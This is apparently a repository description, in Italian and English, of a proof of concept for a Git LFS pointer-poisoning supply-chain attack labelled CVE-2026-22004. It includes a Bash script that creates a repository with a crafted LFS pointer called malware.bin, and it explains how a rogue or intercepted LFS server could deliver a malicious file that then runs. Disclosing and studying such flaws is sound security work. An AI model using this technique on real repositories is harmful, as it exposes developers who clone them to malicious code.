george0papasotiriou/cve-2026-22004-git-lfs-pointer-poisoning-supply-chain-Proof-of-concept per l'avvelenamento dei puntatori Git LFS, con script Bash e Python che creano un repository dannoso, simulano un server LFS malintenzionato e innescano l'esecuzione di codice.
# create_malicious_repo.sh - Sets up a repo with poisoned LFS pointer
git init
git lfs track "*.bin"
echo "version https://git-lfs.github.com/spec/v1
oid sha256:4142434445464748494a4b4c4d4e4f505152535455565758595a616263646566
size 4" > malware.bin
git add .gitattributes malware.bin
git commit -m "Add LFS file"
Un repository utilizza Git LFS ma non fissa l'endpoint LFS né verifica gli hash degli oggetti dopo il download. Un attaccante che compromette il server LFS (o può effettuare un attacco man‑in‑the‑middle) può sostituire il file di grandi dimensioni con uno dannoso, e la clonazione lo scaricherà automaticamente e potenzialmente lo eseguirà.
bash create_malicious_repo.sh
# Then simulate rogue LFS server